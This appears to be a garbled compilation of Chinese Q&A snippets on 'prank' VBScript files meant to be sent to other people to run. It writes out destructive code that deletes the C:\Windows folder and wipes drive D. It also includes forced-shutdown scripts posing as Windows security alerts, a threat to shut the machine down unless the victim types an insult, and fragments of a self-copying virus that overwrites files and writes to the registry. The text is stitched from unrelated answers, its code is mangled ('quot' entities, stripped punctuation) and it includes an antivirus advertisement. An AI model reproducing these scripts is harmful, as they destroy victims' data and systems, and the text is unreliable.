新建一个TXT文件，打开，把整人代码放进去，保存然后把文件扩展名改成VBS，发送给别人，运行，就能整人了比如gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquot。
可以，甚至可以利用fso把系统毁掉Dim fso， fldr， s #39 获得 FileSystemObject 的实例Set fso = CreateObjectquotScriptingFileSystemObjectquotfsoDeleteFolder quotC\Windowsquot。
愿我的答案 能够解决您的烦忧 要这个干嘛制作病毒是不法行为，要被判刑的顺便说下，如果谁的电脑中毒了，可以按我说的办法杀毒 下载腾讯电脑管家“85”最新版，对电脑首先进行一个体检，打开所有防火墙避免系统其余文件。
Msgbox quot您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动quot，16+4096，quotWindows安全警报quotShell quotcmdc shutdown s t 5quot佛祖曰普度众生，这样就行 后面那一句代码是用来关机的，VBS代。
慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfsorun quotcmd c quotquotdel d\** f q squotquotquot，0 ，true 好吧，运行后D盘就光屁股了参考 vbs整人代码大全。
xufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一触即发vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current。
on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe C ShuTdownexe r t 120 c quotquot快说“我是笨蛋”，不说就2分钟就关你机，不信，试试···。
apwrite vbscopy #39覆盖文件，慎用 apclose set cop=fsogetfilefilepathcopcopyfilepath quotvbsquot#39创建另外一个病毒文件 #39filedeletetrue#39删除原来文件 end if next set subfolders=folder_subfolders。
C盘根目录下由本程序创建的VBS程序FwriteText = quotdim HFWkillset HFWkill=CreateObjectquotquotWscriptshellquotquotHFWkillrun quotquotshutdown s t 0 fquotquot，0quot #39它最主要是这段关机代码写入了这个新建的VBS文件HFWfw。